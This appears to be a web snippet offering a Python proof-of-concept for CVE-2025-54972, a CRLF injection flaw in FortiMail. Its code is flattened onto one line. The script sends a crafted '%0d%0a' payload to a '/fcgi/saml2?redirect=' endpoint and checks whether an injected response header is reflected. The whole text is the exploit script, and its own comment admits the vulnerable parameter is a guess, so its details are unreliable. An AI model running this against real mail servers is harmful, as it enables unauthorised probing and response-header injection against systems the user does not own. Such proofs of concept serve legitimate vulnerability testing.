CVE-2025-54972 FortiMail CRLF注入漏洞

import requests import urllib.parse # CVE-2025-54972 CRLF Injection PoC # Target: FortiMail < 7.4.6, < 7.6.4 def test_crlf_injection(url): """ Test for CRLF injection vulnerability in FortiMail Inject malicious headers via crafted URL parameters """ # Malicious payload with CRLF sequences # %0d%0a = \r\n (URL encoded CRLF) payload = "%0d%0aX-Injected-Header: malicious-value" # Target endpoint - adjust based on actual vulnerable parameter target_url = f"{url}/fcgi/saml2?redirect={payload}" try: response = requests.get(target_url, timeout=10) # Check if injected header appears in response if 'X-Injected-Header' in response.headers: print(f"[+] VULNERABLE: CRLF injection detected!") print(f"[+] Injected header: {response.headers.get('X-Injected-Header')}") return True else: print(f"[-] Not vulnerable or payload not reflected") return False except requests.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-fortimail.example.com" test_crlf_injection(target)